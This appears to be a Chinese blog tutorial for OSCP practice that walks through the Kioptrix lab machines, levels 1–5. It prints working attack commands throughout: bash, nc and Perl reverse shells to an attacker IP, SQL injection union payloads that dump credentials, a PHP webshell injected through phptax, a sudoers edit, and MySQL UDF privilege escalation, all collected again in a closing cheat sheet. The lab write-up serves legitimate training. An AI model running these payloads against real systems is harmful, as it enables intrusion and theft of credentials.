【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!
emmm 什么是OSCP?是由OffSec公司提供的一个专业级别的道德黑客认证。它是针对渗透测试的专业认证,旨在验证个人在实际环境中进行渗透测试的能力。与其他理论导向的认证不同,OSCP侧重于实践技能和真实世界情景的模拟。
它也叫做国际进攻性安全认证,如果有想要报考OSCP的师傅们欢迎咨询我们安全团队,我们给您打骨折。
本次教程靶机如下,都准备好了,直接下载就好,并且解决了官方靶机扫描不到的问题:
链接:https://pan.quark.cn/s/475209fc0c05
level 1
主机发现
上一步没有加-sV参数,这里加上之后的信息
看看80有什么
随便点点
啥也没有,有个METGT2.9.5不知道能不能用得上
再点点
有个php文件,啥用没有
不管啥服务都搜一搜
利用这个poc,有版本区间了,用用第二个用户名枚举的poc
发现是用得python2
pip也不存在,看样子用不了了,我们换一个
mod_ssl 刚刚使用nmap -sV参数扫出来的版本信息,还有谷歌插件wapplayer信息收集插件,都能看到这个mod_ssl
使用第一个exp,这里看到有提示信息
按照他的提示信息,我敲,这谁顶得住啊,这提示信息,看不懂,跳过,直接下载,艹
复制下载链接,可以发现这个单词变成了download 下载的意思,直接下载刚刚searchsploit 的 exp文件
换一个,卧槽这谁顶得住啊官方编译好的都执行不了,等我换个kali。。。。。24小时后。。。。。卧槽还是不行
等我仔细看看exp报错信息,他说的是 }
附近语法错误,看不懂代码,用本地exp重新编译,报了这个错误,似乎是要加上这一个参数
加上后还是报错,openssl版本问题,这是一个已经弃用的(deprecated)函数,百度了一下,需要使用-Wno-deprecated-declarations
参数,就是前面的那个-Wdeprecated
变成 -Wno-deprecated
所以完整的参数是这样的,这样就能够成功编译了,命令如下
gcc -o exp 47080.c -lcrypto -lssl -Wno-deprecated-declarations
执行exp,他会告诉你怎么使用,以及每个参数的用法,英文好一点的就可以直接看,不好也没关系,翻译软件2s钟的事儿
wapplyer插件,看web服务器版本
使用exp会告诉你怎么使用,看着后面的apache,这个时候进行筛选就行了
遇到这种good bye的那么就是利用失败,一个一个尝试就好了
直到参数如下,成功获取到了shell,并且有一串提示信息
貌似是执行过这几条命令,做一次历史命令信息收集,history,但是发现切换到tmp目录下面的时候什么也没有,看样子是没有下载文件
尝试下载,但是下载失败了
既然不能下载,那么我们使用kali下载,然后再传到靶机上面去
利用kali下载文件后,使用python开启http服务
可以看到下载成功
根据之前的命令提示,按着顺序输入命令,进行编译后,就会断开连接
重新连接,他就会自动执行刚刚编译好的exp文件
这个时候就提权成功了,
为什么会自动执行那个exp?查看源码就可以发现了
samba提权
这里是一种提权方法,还有另外一种smb提权,oscp考试是不允许使用msf的(只有一次机会),我找了很多kali自带的工具,都识别不到smb版本
无奈,只能使用msf了,识别出来了版本为 2.2.1a
这里找到一个版本,第二个,因为第一个是msf版本,我们需要手工利用exp
编译,执行
提权成功
level 2
主机探测
syn全端口扫描
nmap -sS -T5 192.168.111.184 -A
使用curl访问80,可以看到是html信息
弱口令,sql注入测试失败
mysql远程连接,也失败了,提示了目标mysql服务器没有开启远程连接
dirb目录扫描出来一个html页面,不知道是干什么的,不过看样子应该是和apache相关的信息文件
使用wappalyzer插件,查看一些中间件服务版本和nmap指纹探测一波
找找版本exp,目前收集到的信息,不能确认exp,唯一能能确定的就是那个拒绝服务攻击,但是对我们没什么用
这里看到一个本地提权,待会应该能用上,先记着编号是 7550
759端口信息不够,直接跳过,但是目前也没有什么可以利用的了,再返回登录框看看,再试试sql注入,注意这次的sql注入和我之前的sql注入是有区别的
# 之前的
admin' and 1=1 --+
# 现在的(+号前面多了个空格)
admin' and 1=1 -- +
万能密码成功
其实也算不上是万能密码,我这样也能进去,只要打乱了sql语句就行了
进去index.php后查看源码信息,哎呀卧槽,这里还有隐藏的代码,分析表单看样子是要执行一个ping命令,并且传参给pingit.php
还是post请求
那么就能得到这个接口请求的payload
看样子是一个命令执行,但是尝试了如下反弹shell后,都没有反应
ip=127.0.0.1 && /bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1
nc 192.168.111.128 8888 -e /bin/bash
试试whoami,我敲,看样子被耍了,这根本不是命令执行啊
再看看源码有一个Administrator,可能也是一个有用的信息
这里还有一种方法,就是新加一个页面在浏览器中以 html格式修改,把它原来的源码复制上去
加上缺少的单引号
回车,这样它的input框就出来了
尝试127.0.0.1,这下有回显了,刚刚怎么没有?
from.submit is not a fun,这个的大致意思呢就是,表单无效,hackbar模拟提交表单的时候,没有处罚javascript的表单提交的方法,那就是编码类型不对了
因此切换表单提交的编码类型需要修改一下,这样就可以正常执行了
这里执行命令的时候会发现,我使用一个 | 管道符,不管前面的命令是否执行成功,都只执行后面的那一条语句
但是bash反弹shell的时候,是失败的,因为这个&和提交的表单数据冲突了
需要修改为 %7C 为 | 的,但是这样很麻烦,换一种方法,直接在源页面写不更好嘛?
在原来的页面写命令,这样会给我们的http post数据包自动编码
反弹成功
信息收集
找到个这个
根据提示加了-Wno-int-to-pointer-cast
参数后,提示了很多的无效的指令(invalid instruction)
切换思路,继续信息收集,使用lsb_release -a
命令查看系统信息,可以看到是比较老的 centos 版本,存在很多漏洞
漏洞检索,centos 4.5
kali编译失败
传到靶机试试(注意kali开启http服务)
提权成功
之前我们提到过一个服务的提权编号是7550,这里去尝试尝试
查看源码,貌似却少一个文件,
但是使用方法就是那样使用的,可以判断当前系统不存在此服务漏洞
level 3
主机发现,80探测
节省时间,nmap放在后台扫描
新建终端,dirb也放在后台扫描
我们访问80端口
wapplalyzer
随便点点,这个页面,感觉没发现什么
盲测sql注入
bolg界面的框框
xss字典攻击,失败
这个时候nmap和dirb都扫完了,回去看看
有一个phpmyadmin,弱口令 root/root
弱口令爆破,全都是302跳转
简单sql万能密码测试
这里把密码清空,万能密码
直接进去了
并且可以写文件,这个为空就代表可以写文件
show global variables like "secure%";
网站根目录猜测为 /var/www/html
写入文件测试,拒绝访问,没有使用密码
切换方式,继续信息收集,刚刚目录扫描出来的一个登录框框
检索漏洞,这里有一个命令执行漏洞,要用到msf,再想想其他办法,考试只有一次机会
github查找
使用git clone 下来执行这个sh文件
根据提示输入参数
开启交互式终端
信息收集
/etc/passwd权限信息
检索漏洞
kali编译不了,我们传到靶机上试试
提权失败
又仔细看了看这个是小于号,不是小于等于
用第一个试试,还是失败
重新筛选一下,searchsploit 2.6.2 不使用2.6.24
提权失败
查找一下suid文件,看看能不能利用suid提权,好像并不行
去home目录下面看看,loneferret用户文件夹下有一个 CompanyPolicy.README 文件,不知道是什么东西,打开看看,有个sudo -i
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.
DG
CEO
大致意思就是
您好新员工
这里的公司政策是使用我们新安装的软件来编辑、创建和查看文件。
请使用命令'sudo ht'。
不这样做将导致您立即终止。
DG
首席执行官
我们再回到那个图片加载不出来的页面,想到可能是因为host问题,随便点一个链接,会发现ip跳转到 kioptrix3.com 这个域名,大概率是域名的问题,需要去host添加域名解析的 ip
C:WindowsSystem32driversetchost
这个时候再访问这个域名,页面就正常了
再来测一测sql注入
点这个试试
选择id
又有注入点了
sql注入测试,sql语法错误,存在sql注入
判断列数
6列正常回显
http://kioptrix3.com/gallery/gallery.php?id=1 order by 6-- +&sort=photoid#photos
暴表
http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+&sort=photoid#photos
暴列
http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users'--+&sort=photoid#photos
暴数据,得到账号密码,admin::n0t7t1k4
http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(username,'::',password),3,4,5,6 from gallarific_users --+&sort=photoid#photos
登录看看,密码错误
切换这个用户试试,也不行
同理,查,dev_accounts这张表
http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(username,'::',password),3,4,5,6 from dev_accounts --+&sort=photoid#photos
这样我们就看到了账号密码了,识别hash
hash碰撞失败换一换其他工具
转在线工具
https://www.cmd5.com/default.aspx
密码为starwars,登录成功
sudo -l
添加环境变量export TERM=xterm
按 F3
或者
ALT+W 然后 方向键← ← ↓ 回车
框中 输入
/etc/sudoers
保存退出
sudo /bin/sh
id
提权成功
第二种方法,就是用4089.c进行提权,第一个40616行不通,测试40839.c可行
level 4
主机发现
curl判断80
开启nmap扫描后,立马开始目录扫描
弱口令,sql注入,admin/admin,123′ and 1=1 –+
这里有一个铭感文件泄露
密码爆破
myusername
mypassword
cookie伪造,也不行
用nmap的 –script=vuln 参数试试,找找漏洞信息
CVE-2007-6750拒绝服务攻击
再回去看看目录,有一个database.sql文件,看样子是信息泄露了,看到了一条数据,但是还是登录失败
没有思路了,再重头来一遍,在登录的地方密码处,存在一个sql注入漏洞,123′ and 1=1 –+
没有回显啊,不可能手工盲注啊,无奈了只能用sqlmap
sqlmap -r post.txt --dump --batch --level 3
登录进去后没有任何东西,就一个退出登录
试试ssh登录
# 注意这里要加一个参数,不然会登录失败,应该是目标靶机ssh版本低所导致的
ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.111.186
两个账号都登录成功了
一开始就有一个提示了,让我们使用help
命令,似乎是只能使用这些命令来进行接下来的操作
shell逃逸
可以看到root用户启动了一个mysql进程
suid文件查看,貌似没有可以利用的提权命令,sudo这些用户都不能用
已知站点是php站点,查找一下php的文件,看看有没有可以利用的地方,比如mysql配置文件
查找登录界面的信息,看到了mysql的账号密码(没有密码)
登录
mysql的提权方式有一个叫做udf提权,我们去看看udf表
利用 sys_exec()函数将john用户添加到管理员组。
sudo su (用于切换到超级用户"root"的shell)输入账号密码,提权成功
level 5 Kioptrix2014
同时进行,nmap主机探测立马nmap指纹识别,后curl 80探测,第三个终端目录扫描
首页
查看响应的源码
访问,不知道是什么东西,应该是目录枚举了,和我们获取权限没有什么关系
直接搜,刚好版本是一模一样的
这里有漏洞的利用方式
访问到文件信息了,任意文件查看
看看其他信息,操作系统为FreeBSD
编译后的exp提示,是没有apache 2.2.x版本的,所以第一关里面的方法利用不了了
看其他信息,有一个8080端口
403拒绝访问
去看看apache配置文件(一般都在/usr/local/etc/apache2x/httpd.conf),利用刚刚的文件枚举漏洞,查看
正常访问了,有一个phptax
页面
又是一个新页面
随便点一点试试
关键检索,有一个代码执行漏洞
查看24665.txt
访问后,应该是没有nc,执行不了命令
/bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1
nc 192.168.111.128 8888 -e /bin/bash
写入一句话马试试
http://192.168.111.149:8080/phptax/drawimage.php?pfilez=1040pg1.pdf;echo "<?php system($_GET['cmd']); ?>" > shell1.php;&pdf=make
# 反弹不了命令,就多试几个,总有一个能用
perl -e 'use Socket;$i="192.168.111.128";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.111.128:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
这里使用的是 perl sh反弹成功了
目标靶机上没有python,创建不了交互式终端,但是并不影响我们提权
查内核信息
查SUID文件,基本的sudo都没有,去检索内核
根据内核信息有俩个权限提升漏洞
这里看靶机是没有wget
和curl
的,但是有nc
小知识,nc也是可以传文件的(测试过很多遍,没传成功),还有个技巧就是利用ftp
# 攻击机开启ftp
python3 -m pyftpdlib
# 靶机连接
ftp ftp://192.168.111.128:2121/file
搞了半天,kali新版的python的开不了,人麻了,传到本机来开
成功传上去了
exp传上去后
gcc -o exp exploit.c
./exp
即可提权成功,我这里环境出问题了,显示不了了怎么创建交互式终端都不行,害
命令小姐
# 创建交互式终端的几种方式
echo os.system("/bin/bash")
python -c "import pty; pty.spawn('/bin/bash')"
/bin/sh -i
gcc -o exp xxx.c # c文件编译,-o表示的是输出的文件名称
python -m http.server # 开启小型的http服务
python3 -m ptyftpdlib # 开启小型的ftp服务器
ftp ftp://ip:port/file #使用ftp接收文件
# 常用的反弹shell
/bin/bash -i >& /dev/tcp/192.168.111.128/8888 0>&1
nc 192.168.111.128 8888 -e /bin/bash
# 注意这里要加一个参数,不然会登录失败,应该是目标靶机ssh版本低所导致的
ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.111.186
usermod -a -G admin john # 将john用户添加到admin组
# mysql提权(udf提权)用到的表(查)
select * from mysql.func;
select sys_exec('commend');
uname -a # 查看系统的全部信息
哪些好的资料可以分享?
我在学习和备考的时候参考的一些不错的资源,汇总如下:
注册指南:
《OSCP认证教程第一集:注册教程》https://www.freebuf.com/column/194605.html
Linux提权指南:
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Windows提权辅助脚本:
https://github.com/pentestmonkey/windows-privesc-check
模拟练习平台(跟Lab环境类似):
vulnhub https://www.vulnhub.com/
hackthebox https://www.hackthebox.eu/
badchars工具:
https://github.com/mgeeky/expdevBadChars
往期推荐
不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学
ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略
【oscp】vulnerable_docker,三种代理方法打入内网
【内网渗透】CobaltStrike与MSF联动互相上线的方式
本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
暂无评论内容